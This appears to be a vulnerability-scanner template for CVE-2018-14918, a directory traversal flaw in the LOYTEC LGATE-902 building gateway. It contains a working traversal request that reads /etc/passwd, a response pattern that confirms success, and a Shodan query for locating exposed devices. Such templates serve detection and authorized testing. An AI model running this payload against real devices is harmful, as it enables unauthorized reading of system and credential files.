id: CVE-2018-14918

info:
  name: LOYTEC LGATE-902 6.3.2 - Directory Traversal
  author: 0x_Akoko
  severity: high
  description: |
    The path traversal (CVE-2018-14918) allow an attacker to manipulate path references and access files and directories (including critical system files) that are stored outside the root folder of the web application running on the device. This can be used to read and configuration files containing, e.g., usernames and passwords.
  reference:
    - https://seclists.org/fulldisclosure/2019/Apr/12
    - https://www.cvedetails.com/cve/CVE-2018-14918/
    - http://packetstormsecurity.com/files/152453/Loytec-LGATE-902-XSS-Traversal-File-Deletion.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-14918
    cwe-id: CWE-22
  metadata:
    shodan-query: http.html:"LGATE-902"
    verified: "true"
  tags: cve,cve2018,lgate,loytec,lfi

requests:
  - method: GET
    path:
      - "{{BaseURL}}/webui/file_guest?path=/var/www/documentation/../../../../../etc/passwd&flags=1152"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200